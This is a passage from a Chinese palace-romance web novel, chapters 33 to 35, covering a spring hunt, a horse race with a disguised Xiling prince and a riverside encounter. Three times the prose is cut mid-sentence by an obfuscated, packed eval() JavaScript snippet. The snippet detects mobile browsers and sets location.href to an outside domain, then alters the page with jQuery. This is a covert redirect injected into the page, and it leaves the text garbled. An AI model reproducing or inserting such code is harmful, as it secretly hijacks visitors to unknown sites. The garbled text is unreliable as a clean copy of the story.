姜清窈被她的语气感染,心情也略微明朗了些,便顺着她的话道:“阿瑶,你是不是很喜欢草原风光?” 谢瑶音用力点头:“当然。我喜欢驰骋草原的感觉,仿佛茫茫天地之间只有我一个人。而不是像如今这样,每日闷在深宫里,只看得见头顶那一方天空。” 皇后听得忍不住蹙眉:“阿瑶,你是在怨怪你父皇与母后将你拘在了宫里吗?” 谢瑶音抿唇,摇头道:“母后,我并无此意。” “父皇和母后这般锦衣玉食地养着你,不想你竟会如此向往宫外的日子,”皇后有些失望,向着榻上靠了靠,疲惫合眼道,“本宫当真有些寒心。” “母后,”谢瑶音见状不由得慌了神,“我不过是随口胡言乱语了几句,母后莫要当真了。” 皇后见她面色涨红,到底还是不忍说重话,便抚了抚她的鬓发道:“阿瑶,你是公主,往后若能像你长宁姐姐那般嫁在京城,时时能够入宫,母后便满足了。” 谢瑶音口唇微动,最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13789115|141663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 终只能温顺点头:“母后,我明白的。” 姜清窈将她的神情看在眼里,心下猜到了几分,不由得有些怅惘。 几日后,宫中颁下旨意,命皇后、贵妃与皇子公主并一些世家贵女伴驾,一起前往猎场参加春猎。而太后由于年迈,便留在京中。出乎众人意料的是,一向不被允许出现在此种场合的谢怀琤,此次却破例能够同行。 姜清窈得知后,情不自禁为他高兴。不论如何,他终归能够暂时离开那座森冷的宫殿,一览草原风光了。 宣朝的猎场坐落在京城西北方的遐山脚下,山下有广袤无垠的大草原绵延开来,风景美如画。只是猎场受限于大小,只能将一片草原框在其中,供皇族众人策马打猎。 “窈窈你瞧,遐山的那一边,便是与我朝毗邻的西凌,”谢瑶音指着那高耸险峻的山脉道,“多年来,西凌一直与我朝交好,从不曾爆发过战争,也不似那狼子野心的北匀不安分。从前与北匀开战时,他们还曾派兵援助过。因此父皇一直礼重有加。” 姜清窈点头:“我记得,早年间西凌还曾与我朝有姻亲往来,只不过近些年来少了。” 谢瑶音笑了笑道:“正是,说起来,皇祖父的一位妃子,便是西凌人。他们生活在草原上,性情豪爽,不拘小节,与我朝的民风迥然不同。” 她说着,忍不住踮起了脚尖,向着山的那边极目远望,道:“窈窈,那日我在母后面前说的话,确是真心话。虽然母后不悦,但我却还是没法改变心中的念头。” 姜清窈望着她的侧脸:“你是说......想要生活在这辽阔的草原上?” 谢瑶音颔首,笑着看她:“你会不会觉得我不识好歹?放着金碧辉煌的宫殿和生我养我的京城不待,竟想在这里与风沙为伴,也难怪母后生气。” “阿瑶,我知道你一直喜欢自由自在的生活,”姜清窈柔声道,“而在皇宫中,虽前呼后拥、有无数人服侍,但却难免要遵从那些森严的规则。” “其实我明白,身为公主,既享受了金尊玉贵的地位,自然也不可能事事都随着自己的心,而要时时刻刻记住自己的身份,”谢瑶音望着远方喃喃道,“可我无法改变内心。我终究还是......不愿永远被拘在那一座宫殿或是日后恢弘阔大的公主府。” 两人边说,边沿着猎场边慢慢走着。不多时,自皇帝起居的营帐处传来了一阵号角声,谢瑶音拍了拍额头,道:“我险些忘了,昨日母后说,这西凌前些日子刚刚更迭了国君,新君听闻父皇率众前来遐山春猎,便特意前来拜见。想来这号角便是为了恭迎他们吹的。” 姜清窈点头,望向那远处的营帐。 * 帐内,帝后正在接待西凌国君及夫人,太子和西凌世子陪侍。 皇帝率先斟酒,举杯笑道:“还未恭贺国君践祚之喜。” 被唤作国君的是一个体型健壮、高大威猛的中年男子,他闻言,拱手道:“多谢陛下。”声音铿锵有力。 西凌占据着草原,多年来从一个不起眼的小部落逐步壮大,现下势力已然不容小觑。这样一个国家,若是不与之结交,只怕会招致隐患。如今宣朝北临暗藏心思的北匀,东面和南面的虽是小国,但也不能轻易忽视;唯一明确示好且多年来从未起过纷争的便只有西凌。倘若来日边境烽烟四起,若是连西凌也成了敌人,那么宣朝只怕会陷入无尽外患,难得太平。 皇帝此次春猎,特意邀请了他们前来宴饮,又在草原上准备了宴会,也有想要拉拢西凌的意思。 西凌王生得眉眼深邃,孔武有力,与宣朝人的白皙温文截然不同,显得格外粗犷些。而他身畔坐着的西凌王妃则鲜妍妩媚,不失爽朗。 酒过几巡,西凌王与王妃交换了一下眼神,开口道:“请陛下见谅,我有一件事想单独同您和皇后说。” 皇帝面色不改,笑着吩咐太子退下。西凌世子见状也起身离开了营帐。 帐内静了片刻。王妃微笑着向皇后道:“原是我的一桩心事,我想向皇后娘娘打听一人。昔日我未成婚时,曾在贵国疆域四下游历,并巧遇一位女子,与她甚是投缘,有金兰之契。只可惜后来我回到西凌,便再也没有见到过她。这些年,我时时想起旧事,很是怀念。” 皇后有些好奇,遂笑道:“王妃但说无妨。若是此人是宣朝人,陛下与我定会设法找到她,让她与王妃相见。” 西凌王妃道:“想来是不必费力寻找的。她姓秋,原是江南人士,听闻后来入了宫封了妃嫔,不知她今日可曾随驾来到猎场?” 皇帝笑容一滞,手中的酒盏猝然跌落。 33. 赛马 姜清窈与谢瑶音走到了营帐外,却发现帐外伫立了不少侍从,见她二人走过来,便道:“陛下正在与西凌王商议要事,请二公主和姜姑娘暂避。” 谢瑶音点点头:“我知道了。”她转头看姜清窈道:“窈窈,既如此,我们不如先去草原上骑会儿马,待父皇传召再回来?” 姜清窈欣然应允。 两人各着一身骑装,各自飞身上马,便往那地势开阔的草原驰去。 春日的草原万物复苏,告别了寒冬的草木逐渐变得绿意盎然,映着碧蓝色的天,不远处的遐山巍然而立,偶尔有几片云彩飘过山头。悠长的河流自山脉发源,穿过草原,流向远方。 姜清窈不知为何有些心不在焉,因而只松松地握着缰绳,任由马儿悠闲自在地慢走着。谢瑶音却耐不住,向她说了声后便一挥马鞭,夹紧马腹,纵马向着草原与蓝天相接之地疾驰而去。 她望着那道火红色的身影,不由得轻轻一笑:阿瑶永远都是这样生机勃勃。或许这样的少女,确实更契合这大草原的风光。 这念头刚一转过,姜清窈便听见身后传来一阵急促的马蹄声。她正想着是谁会在这个时候也来骑马,余光便见一抹宝石蓝的身影飞速略过身畔,亦向着远处驰去。 姜清窈匆匆一眼,只觉得那人的装束和发式似乎并不是宣朝人的模样,想来是西凌人。只是何人敢这样大剌剌地在猎场上策马? 她轻蹙了下眉,心中记挂着谢瑶音,很快也收紧缰绳,加快了速度。 走了一段路,眼前愈发开阔起来。姜清窈看见前方有河流,谢瑶音的马正在河边喝水,却不见主人的身影。她忙跃下马来,焦急地四处扫视了一番,终于看见那抹红色的身影正弯腰徘徊在茂盛修长的百草中。 “阿瑶,你在找什么?”姜清窈走过去问道。 谢瑶音抬头看见她,顿时如遇救星,忙拉住她道:“窈窈,你来得正好,快帮我找一找耳坠子上的珍珠。方才我只顾着骑马,竟忘了事先摘下那叮当作响的首饰。” 姜清窈闻言,便也低了身子,努力从那郁郁葱葱的草地里去找到那颗小小的珍珠。只是腰身都酸痛了,两人却依然一无所获,反觉得眼睛被大片绿色刺得酸涩起来。 谢瑶音怏怏不乐:“那耳坠是我心爱之物,若是少了那颗珍珠,便失了光华。原是我疏忽了,怎就戴着那对耳坠去骑马了呢?” 她眉头紧蹙,正一筹莫展时,忽然觉得有人在自己肩头轻轻一拍,一个清朗的声音说着自己听不懂的语言,响彻在耳边。 谢瑶音忙回身,却发现身后不知何时立着一个青年。 青年长身玉立,面目俊逸,一身劲装衬得身姿挺拔强壮。他肤色略深,眉骨高挺,眼窝深邃,浅栗色的瞳仁正饱含探究地打量着她,唇微微扬着,显出一丝饶有兴味的笑意。 “你是谁?”谢瑶音有些防备地看着他,“为何会在我大宣的猎场里?” 青年不语,忽然抬步向她走了过来,两人之间的距离急剧缩短。饶是谢瑶音生性泼辣大胆,面对这身份不明的男子也情不自禁有些提防和紧张。她连忙后退了一步,手握马鞭横在身前,整个人呈现出蓄势待发的攻击性,冷声喝道:“站住!否则我就不客气了!” 似是被她的声音威慑住,青年止住步子,却不见惊慌,面上反而浮起一丝笑意。他伸出手,摊开掌心,递到了谢瑶音面前。 一颗圆润的珍珠静静躺在那里。 “我的珍珠?”谢瑶音眼前一亮,连忙拈起,转头向姜清窈道,“窈窈,你瞧,找到了!” 姜清窈凑过去细看了一番,点点头:“找到就好。” “你是从哪儿捡到的?”谢瑶音看向青年,不解问道。 “阿瑶,”姜清窈轻扯了扯她的衣袖,压低声音,“方才我看见他向着这边策马过来。看装束,似是西凌人。” 谢瑶音狐疑地上下打量着青年,他对于这般不克制的目光并不介怀,甚至坦荡地迎上她的目光。她想了想,低声道:“他既然是异族人,是不是听不懂我们说话?可我也不懂西凌的语言,该如何同他交流?” 两人正为难时,却见青年向她咧嘴笑了笑,说了几句听不懂的话,便转身骑上马离开了。 “真是奇怪,这人神神秘秘的究竟是谁?”谢瑶音愣愣地看着他远去的背影,小声嘀咕道。 不过她也顾不上这么多,忙摘下耳坠,与珍珠一道用手帕包裹好收进怀里,打算等回到营帐后吩咐宫人重新将珠子镶嵌回去。 两人又在此处骑了会马,便原路返回了。 走到皇帝的营帐前,谢瑶音问守卫道:“父皇和母后还在议事吗?皇兄也在里面吗?” 守卫恭谨应道:“回二公主的话,正是。不过太子殿下已经出来了,这会子应当回他的帐子去了。二公主若是觉得闷了,也可去找殿下。” 谢瑶音向姜清窈道:“窈窈,你想回去歇息吗?” 姜清窈犹豫了一下,摇头道:“我不累。” 两人便顺势走了几步,往远离营帐的地方去了。谢瑶音看见不远处拴着几匹膘肥体壮的马,看品种应当是西凌草原上特有的马种,高大、健硕,同时也更不易驯服。 一个人正背对着她,弯腰提起一桶清水,用竹帚清理着马儿身上的草屑,顺道给它们添些食物。谢瑶音盯着那似曾相识的身形,疑惑道:“窈窈,我怎么觉得这人这般眼熟?” 那人恰好闻声转过来,四目相对,谢瑶音恍然大悟:“是你?” 正是方才那个宝蓝色骑装的青年。不过此时他换了身深色衣裳,身上沾了不少水渍。他身畔,还跟着一个年纪略小的少年,正在同他一道忙碌。他一愣,随即露出一个友好的笑。 谢瑶音问道:“敢问阁下是何人?” 那青年眉梢一挑,却没急着回答,而是向身边的少年说了几句话。少年面上神色惊疑不定,疑惑地看了看谢瑶音,迟疑片刻,才开了口,说的却是她们听得懂的语言:“我们是——西凌人。” “你会说我们宣朝的话?”谢瑶音讶异地看向那孩子。 少年点点头。 “我自然知道你们是西凌人,”谢瑶音道,“我只是好奇,为何方才你会独自在那片草场上骑马。毕竟这儿是我们大宣的地界,寻常人不敢肆意妄为。除非你是同西凌的国君和夫人一道来的贵客。” 青年笑起来,两颊各有一个深深的酒窝。他低头思索了一瞬,开口说了几句话。那少年很快翻译道:“二公主,我......们是世子身边的侍从,平日专为世子清扫马场,为世子心爱的马匹添食和清水。” 谢瑶音对西凌的情形有所耳闻。青年所说的世子,应当便是西凌王与王妃的独子——西凌世子。 “你怎知我是......二公主?”谢瑶音忽然想起一事,又换上了一副提防的神情。 青年看着她皱起的眉,似乎想笑,却忍住了,一本正经道说了一句话。少年转述:“方才贵国的侍从说的话,我恰好听见了。” 谢瑶音打量着他:“你虽是侍从,却能说如此纯熟的我朝语言,看来世子很是器重你,对你多番教导。” 青年微笑:“世子聪颖,勤学好问,他身边侍从亦是如此。” 那少年转述此话时,唇角轻微抽搐了一下。谢瑶音没留意,只笑道:“在旁人面前这般不吝啬地夸赞他,不枉世子待你们这般好。” 她看着他身后的马,问道:“这些都是世子的马儿吗?” 少年道:“是。” 对于一个极爱骑马的人来说,看见不同的马儿,自然很想亲自试一试。只是谢瑶音顾忌着如今的处境,还是打消了那个念头。 “公主是想亲自试一试我们西凌的马匹吗?”青年好似看穿了她的想法,“方才我观公主马术了得,想来是可以驾驭住的。” 谢瑶音咬唇,那嫣红的唇瓣留下了一道齿痕。她道:“世子不在,未经他同意,我怎能擅自骑他的马?” 青年道:“公主不必担心。世子光风霁月,胸怀宽广,怎会在意这等小事?” 少年说罢此话,唇角再度抽搐了一下。谢瑶音忍不住向那少年道:“你的宣朝话说得果真不错。” 她有些犹豫,心中实在好奇。青年见状,又道:“公主安心,世子若是知道公主是擅马术之人,只会分外欣喜。” 少年说着,看了他一眼。 “既如此,我就恭敬不如从命了。”谢瑶音说着,缓步上前,挑了一匹油光水滑的高头大马。那马起初对她不理不睬,甚至还想用马蹄攻击她。青年在一旁用西凌的语言低声念叨了几句什么,加之谢瑶音深谙御马之道,那马很快便变得温顺起来。 她调整了一下马鞍,又掂了掂马鞭,这才翻身上马。 姜清窈看着她,有些担忧道:“阿瑶,你当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13813995|141663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心些,莫要走远了。” 谢瑶音点点头:“放心。” 两人正说着话,却见那青年亦牵了匹马走过来,说道:“公主,请恕我无礼。我自小痴迷骑马,今日见公主精通马术,便一时大胆,想与公主比试一番。” 他微微弯了腰:“不知公主是否允许?” 待少年转述完毕,谢瑶音没想到他会提出这个要求,一时间有些愣怔。 青年见状,便轻挥了挥手,示意那少年退下。他则独自牵着马,站在原地,仰头等着谢瑶音的回答。 正巧此时,从远处的帐子里走出两个人,说笑着向这边走来。姜清窈转头,见是谢如婉和傅宝吟。 几人彼此见了礼,谢如婉看向马背上的谢瑶音,笑道:“二姐姐这是在做什么?” 谢瑶音莫名其妙地看了她一眼,道:“难道你瞧不见吗?自然是在骑马。” 傅宝吟不动声色地看着那青年,见他身上穿着的衣裳平平无奇,又以一个谦卑的姿势侍立在马侧,甚至袖口衣角还挂着些歪歪扭扭的草根,心知必然是负责打理马匹的下人,顿时生了些鄙薄之意,道:“二公主这是要与人比试?” 谢如婉顺势看过来,见青年穿的异族服饰,猜到是西凌人,便掩唇一笑:“不知这是谁?竟能劳动二姐姐亲自与他比试?” 那青年稍稍抬头,神情迷惘,显然听不懂她的话。谢如婉见状,愈发无所顾忌,语气里也多了些嘲笑的意味:“二姐姐,你怎么说都是公主,怎能如此不自矜身份,竟与一个下人比试起来了?若是被陛下和母后知道,岂不要责怪你?” 她说到此处,又含笑同傅宝吟道:“我忘了,二姐姐向来如此不拘小节,从不在意什么规矩和地位的。只是堂堂公主和马奴比试,传扬出去到底有些不中听啊。” 谢瑶音冷笑:“我竟不知三妹妹这么多年的圣贤书读到哪里去了?竟说出这般鄙夷的话。凭他是谁,只要他擅骑马,我便可以同他比试,难道会因为身份就改变主意?当年皇祖父巡幸此处,不也曾和西凌的一位寻常牧民比试过一番?” 她扬起马鞭,又道:“况且,他既是西凌人,便是此次父皇和母后宴请的客人。三妹妹这般说话,怕是有违待客之道,传扬出去更有损我大宣朝的名声。” 谢如婉面上有些挂不住,被她一顿抢白,竭力抑制住心头的不快,勉强笑道:“二姐姐既如此,那我也无话可说。” 傅宝吟扯了扯她的衣袖,低声说了句什么。 谢瑶音再无暇去管她们,向着那青年点点头,唯恐他听不懂自己的话,又试探着打了个手势。那青年眉眼一扬,笑着颔首,随即翻身上马,向着她做了个承让的手势。 随着谢瑶音一声叱,两人的马几乎同时窜了出去,一路飞驰。 姜清窈有些担忧,不住地向远处张望。好在这两人并未走远,片刻后便返身往回驰来。 马蹄声声,伴随着少女清脆有力的低喝声,那抹火红色的身影如同绚烂的云彩,在青青草原之上翩跹起舞,娇丽又明媚。 眼看着那两骑即将靠近营帐,恰在此时,身后帐门掀开,帝后与西凌王夫妇先后走了出来。 皇帝见众人都聚在此处,便出声道:“这是在做什么?” 姜清窈等人连忙回身,向着上首四人行礼。谢如婉按捺不住,开口道:“父皇,二姐姐在与......西凌国的一位侍从赛马。” 她虽未说“马奴”二字,但语气里不由自主流露的便是那层意思。皇后闻言,面色顿时一沉。皇帝面色不变,只淡淡道:“是吗?” 谢如婉显出得意神色,应声道:“正是,我们都亲眼瞧见了。” 话音刚落,一阵响亮的马蹄声接近,赛马的两人同时勒马停住,先后跃下身来。谢瑶音呼吸略急促,双颊泛着淡淡的绯色。她没留神身旁青年不曾移开的目光,几步上前向着帝后与西凌王夫妇行礼。 皇帝看清两人,这才一笑:“阿瑶,原来你是和世子在比试。正好,你二人也算是就此相识了。” “世子?”谢瑶音愣住,慢慢转头看向身畔的青年。 夕阳落在青年额头,映着那晶莹的汗珠。青年俯身行礼,说的却是纯正的宣朝话:“见过皇帝陛下和皇后娘娘。” 随即,他转过身,手臂轻轻横过身前,向着谢瑶音行了一个礼,声音带着温和的笑意:“在下——赫连重骁,见过二公主。” 34. 怀抱 谢瑶音怔怔瞧着他,一时间忘了回答。 西凌王与王妃对视一眼,笑骂道:“臭小子,你是不是又肆意妄为,唐突了二公主?” 赫连重骁站直身子,故作委屈:“父王,我哪里敢。” 皇帝开怀一笑,说道:“小孩子家,哪里有什么唐突之言?朕这个女儿一向爽朗,想来与世子也很是投契。”他说着,看向谢瑶音道:“阿瑶,愣着做什么?还不快向世子还礼?” 谢瑶音盯着青年的笑脸,想起他方才佯装听不懂宣朝话的样子,有些微恼,抿了抿唇,向着他端端正正行了一个礼:“世子。” 赫连重骁见她面上笑容淡去,心中一紧,正想着说些什么话解释,却见少女已然换上一副笑脸,上前同皇帝皇后说起了话。一旁的西凌王和王妃见谢瑶音明眸皓齿,语笑嫣然,满是女孩儿家的娇俏鲜活,心中亦是喜欢。 皇帝在外人面前,对孩子们一向很是和蔼,向着西凌王夫妇道:“这孩子被朕宠坏了,不知今日有没有言语冲撞了世子?” 西凌王笑道:“陛下言重了。公主天真烂漫,又知礼数,何来冲撞?” 几人言笑晏晏,一旁的谢如婉和傅宝吟却面色苍白,嘴唇颤抖。她们怎么也没想到,方才随意置喙的马奴竟是西凌尊贵的世子殿下,不由得心中慌乱,生怕皇帝因此大发雷霆。 皇帝又同西凌王笑着说了几句话,请他们夫妇再度入帐,说是要约定今晚草原上的宴会。他临行前不忘嘱咐了谢瑶音几句,让她莫要贪图骑马,身上吹了风出了汗便回去歇着。 四位长辈一走,只剩下几个少女。谢如婉和傅宝吟对视了一眼,迟疑着上前想要向赫连重骁赔礼。 然而赫连重骁压根没有给她们说话的机会。他的眼睛只落在谢瑶音身上,见她转身欲走,忙举步跟了过去,唤道:“公主。” 谢瑶音听了他的声音,便停住步伐,生硬道:“世子殿下有何事?” “公主是在恼我向你隐瞒了身份吗?”赫连重骁看着她,恳切解释道,“我见公主有防备之意,便没有主动提起,只想以寻常人的身份同公主比试。” 他说:“公主耳坠上的珍珠是在那边的山坡上找到的,想来是你策马时掉落,又被我的马踏过,不慎挟带到了更远的地方。” 谢瑶音顿了顿,说道:“多谢你拾得此物归还与我,不知想要我如何言谢?” 赫连重骁摇头道:“小事一桩,我们西凌儿女生性如此,自然不须公主百般言谢。” 其时暮色渐沉,微风拂过少女的衣角。她俏生生立在那里,那身红色的骑装映在他眼底,渐渐将绯色蔓延上耳根。赫连重骁回神,道:“公主的马术果真了得,在下佩服。” “不知今晚宴会,公主会来吗?”他试探着问道。 谢瑶音道:“自然。” 赫连重骁似乎松了口气,面上重新浮起笑容:“那我便放心了。”他想了想,又小心地道:“公主还在生我的气吗?” 谢瑶音本就不是多么记仇的性子,况且赫连重骁隐瞒身份也是事出有因。她舒了口气,摇头道:“我理解世子,自然不会一味生气。” “请世子见谅,我需要回营帐更衣。”谢瑶音向着他道。 “那我们就晚宴再见吧。”赫连重骁微微勾唇,专注地望着她远去的背影。 * 姜清窈心想谢瑶音与西凌世子看起来颇为投缘,方才便没有打搅,悄悄离开了。她回了自己的帐子换了身衣裳,又饮了盏热茶,瞧着天色还未到宴饮时刻,便掀帘出来,打算在四处走走。 她一路见到不少侍从宫人在打点马匹,或是在为晚上的宴会做准备,便可以预想到晚间的热闹场景。又走远了几步,渐渐远离了喧嚣的营地中心,姜清窈不知不觉走到了河流旁边。 她刹住步伐,抬头看去。这条河名叫行远河,漫长而阔大,流经整片草原,可以说是草原的母亲河。只不过流至此处,河道变窄,河面也缩小了许多。 看着那缓缓流淌的河水,姜清窈有些踟蹰。此时静寂无风,水面算得上平静。河边草木丰盈,洋溢着勃勃生机,河面看上去并不似京城皇宫中的烟波池那样浩渺,一眼望不见边际。 她下定决心,鼓足勇气迈步向着河边走了过去。河面犹如一片铜镜,清澈剔透,映着她头顶上瓦蓝的天和棉絮般的云朵。 姜清窈俯身,盯着那河水看了许久,试探着抬手抚了抚鬓发,尽力让自己不去想河底会是什么情形。 她将手指浸入凉津津的水,轻轻拨动着水面,感受着河流掠过指尖时的触感。许久,姜清窈又掬起一捧水,仔细照了照自己的面颊。 身后传来靴底踩踏过草面的声音,姜清窈看见一个人的倒影缓慢出现在水面上。他伫立在她身畔,没急着开口,目光似乎飘得很远,望到了山的那一端。 片刻后,他又低眸看向水面,与她目光相接。 那日他病中的呓语仿佛还回荡在耳边,那声呼唤从唇齿间泄出,语气滚烫低沉,尾音带着难以隐藏的情愫和她不敢细想的深意。姜清窈只觉得面颊升腾起无法遮掩的热意,她定睛一看,身旁人正专注地透过水面看着她,好似将她的任何一个细微表情都能够尽收眼底。 他唇角似乎轻微扬起了一个柔软的弧度。 姜清窈手腕一颤,手心的那汪水落回河中,将铜镜般的水面打乱,激起一圈圈涟漪,也让两人的倒影转瞬间被揉碎,模糊了神情。 她尚未起身,便转头看向谢怀琤,却见他的眉眼虽还是一如既往的冷肃,但看向她时,那眸光还是不由自主柔软了几分。 姜清窈抿唇,正欲开口寒暄,不防他忽然低下身子,一撩袍角,顺势在她身边坐了下来:“为何一个人在这里发呆?” 她怔了怔,回答道:“在帐子里待久了,觉得很闷,便出来透透气。” 说完,姜清窈侧头看他,道:“殿下不也是一个人走到了这里?” 谢怀琤望向远山,道:“和你一样。出来走了一遭,只觉得万物都陌生了许多,再不似从前了。” 他说话时,那目光变得幽深。经历了前些日子那场病,他的轮廓锐利了不少,整个人显得愈发有棱角,不笑时,那神情也更加淡漠生冷,令人望而却步。 两人并肩坐在草地上,各自盯着山那边橘色的夕阳。 “殿下上一回来到草原,是什么时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13843953|141663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?”姜清窈问道。 他收拢目光,低垂眼睫,淡淡道:“是我十三岁那年。” 姜清窈在心里默默算了算,不觉怔住——正是秋妃薨逝的那一年。春猎是三月初,而秋妃则是那一年的深秋香消玉殒的。 她出自秋氏,也凋零在秋日,想来总是可伤可叹。那年姜清窈因被时气所感,抱病在身,因此并未入宫,自然也没有前去参与春猎。 想起往事,姜清窈忍不住悄悄看向谢怀琤,却见他神情虽萧瑟,却不是从前那样漠然麻木。 谢怀琤又道:“其实在我七八岁时,便曾听母妃说起过草原上的风光。”他的神情一瞬柔和下来,带着无尽的怀念。 姜清窈浅淡一笑,问道:“我记得秋妃娘娘是江南人,莫非她也曾来过草原?” 谢怀琤神色如常,摇头道:“不曾。但母妃未入宫时,曾在家乡结识过一个人。那位长辈出身西凌,自小便生长在草原上。她同母妃说起过广袤草原和苍茫天地、牛羊成群的景致,使得母妃虽未曾亲自来这里,却无比向往,因而也当作故事说与了我听。” 姜清窈微微笑道:“那么殿下亲眼见过后,这一切景色是不是恰如秋妃娘所说?” 谢怀琤点头:“那位长辈妙语连珠,绘声绘色,将草原之景口述出了十之七八。待我亲眼所见后,便可确信她所言非虚。” 他说到这里,轻轻叹了一声:“可惜不知那位长辈如今身在何处。母妃曾多次提起过,盼着能与她再见一面,却到底没有如愿。” 姜清窈思忖半晌,柔声道:“殿下,时日还长,我想你一定能够找到那位长辈。这世间的人,若是想见,终归有法子见到。” 谢怀琤转头看她,喉头微动,重复道:“‘世间的人,若是想见,终归有法子见到。’” 他颔首,低声道:“此时此刻,我最相信这句话。” 他的声音随着天边的夕阳沉了下去,却又饱含着温热,仿佛将那余晖所剩无几的暖意尽数揉进了尾音里。姜清窈隐约觉得他似乎话里有话,再对上那双深邃的眼睛,不由得心头一烫,似被他的话熨过,有细微的痒意。 远处的营地传来呜呜的号角声,姜清窈转头看去,看见了一片明晃晃摇曳的灯火。她说道:“想来是晚间筵席的时候到了。殿下,我们回去吧。” 说着,姜清窈提起裙角,率先站起身来。不想刚刚站直身子,一阵轻微的眩晕袭来,她脚底一软,整个人情不自禁向前一个踉跄。 原以为会跌入那厚重的草地里,却没想到接住她的是一个似曾相识的怀抱。他的身子似乎僵了一瞬,随即毫不犹豫地拥住了她。 谢怀琤的双臂有力地护在身后,姜清窈下意识抓住了他的衣襟,扑在他胸膛之上,鼻间尽是他身上的气息。她睁开眼,缓缓抬头。 揽着自己的那人恰好也低下头来,两下动作间,姜清窈觉得一抹凉意轻轻擦过额角,如蜻蜓点水。 两人四目相对,呼吸相闻。她看见少年眼底的情绪如浓墨翻涌,经久不息,在一片疾风骤雨之中静静容纳着自己的一切。 心尖一颤,姜清窈忽然意识到,方才那抹凉意—— 是他的唇。 35. 敬酒 夜幕低垂,繁星满天。在距离皇帝等人的营帐有一段距离的地方,设下了许多张桌案坐席,每张桌案上都放着飘香的美酒和香气扑鼻的菜肴。烛火明亮,将整片空旷的地方映得亮如白昼。五色的绸缎系在每个帐顶,被风一吹,飘舞出喜庆洋溢的氛围。 众多侍卫在四处戍守,围成一个巨大的圆圈,将众人围坐其中,每个人的手中都举着火把。此时,皇帝等人还未入席,姜清窈按着座次找到了自己的位置,她右手边是谢瑶音,左手边则是荣安郡主闻萱宜。 “窈窈,你怎么才来?”谢瑶音看见她,便挨了过去小声问道。 姜清窈同样低声道:“我去河边散了会步,一不留神便晚了些。” 谢瑶音讶异道:“你怎么独自一人去水边了?有没有觉得难受?” 听她这样说,姜清窈这才意识到自己今日在河边待了那么久并未如从前那样有任何不适,也不曾觉得胸闷气短,浑身发冷。难道是有人在身边的缘故吗? 她摇头,如实道:“我觉得尚可。” 谢瑶音想了想道:“兴许日子久了,你便会慢慢适应了。”她四下扫视了一圈,疑惑道:“父皇和母后没来也就罢了,怎么五皇兄至今也没来?” 姜清窈唇动了动,还是将话咽了回去。 方才她和谢怀琤回来时,恰好遇到皇帝身边的内侍,语气急切,说是让五殿下尽快回帐子,皇帝有话吩咐他。她当时便觉得奇怪,好端端的,皇帝为何要下旨?莫非......还是不允许他出现在这样的场合吗? 这个念头刚在脑海中转过,姜清窈便看见一个人从不远处缓步走来。那熟悉的身形和步伐,她一眼便认出是谢怀琤。只是今日的他,似乎有些不同。 “窈窈,你看五皇兄,”谢瑶音掩唇,克制住惊讶之声,“他这是......” 素日,谢怀琤由于不受待见,已经许久没有得过什么赏赐。而他应得的一切份例和供应也都是短缺的,因此众人总见他穿着半旧的衣裳,甚至寒冬腊月也衣着单薄。 而今日,他换了身锦袍,那袍子样式新巧,正是今年宫中新出的纹样,衣领和袖口都绣着繁复而精美的花纹,用的布匹也是簇新的。 姜清窈自从入宫,还未见谢怀琤穿过这样华贵崭新的衣裳。他本就眉眼清隽朗逸,换上了这身衣裳,愈发显得身姿挺拔,面目俊朗。 想起方才的见闻,姜清窈可以确信,这身衣裳应当也是随着皇帝的“吩咐”赏赐下来的。皇帝为何会突然想起给这个冷落已久的儿子赏赐这么一套衣裳?难道是顾念着宴席有外人在,不愿显得自己苛待皇子? 可皇帝似乎从不是这样会在意细枝末节的人,否则也不会在昔日万寿宴上,当着那么多朝臣和宗亲的面那样严厉厌恶地斥责谢怀琤。 姜清窈想不通,又仔细看了谢怀琤几眼。 这衣裳确实不错,只是,唯一美中不足的是,这袭袍子穿在他身上似乎略显大了些,袖口和袍角有些宽松,不甚合身,似乎并不是按着他的尺寸做的。姜清窈心头困惑不已,仔细一瞧谢怀琤,却见他神色已不复在草地上那样放松柔和,笼在夜幕中的眼眸如浸了冰,唇角也抿成一条凉薄的线,丝毫没有喜色。 不多时,随着内侍的通传声,众人一齐起身,恭迎帝后与西凌王夫妇入席。太子和西凌世子则跟在后面,一同坐下。 待宴席开始,侍立在众人身后的宫人便依次上前,为各位斟酒。姜清窈端起酒盏,轻嗅了嗅那香冽之味,便小口抿了抿。 宴席中央,有早已安排好的歌舞表演,虽然婀娜多姿,但看久了难免无趣。姜清窈收回目光,只专心尝着眼前的食物。 除去寻常菜肴,席上还增加了西凌的传统食物——烤肉,其中以羊肉为主。羊肉切成均匀大小的肉块,撒上了调料,被炙热的火焰一熏烤,散发着诱人的香气。 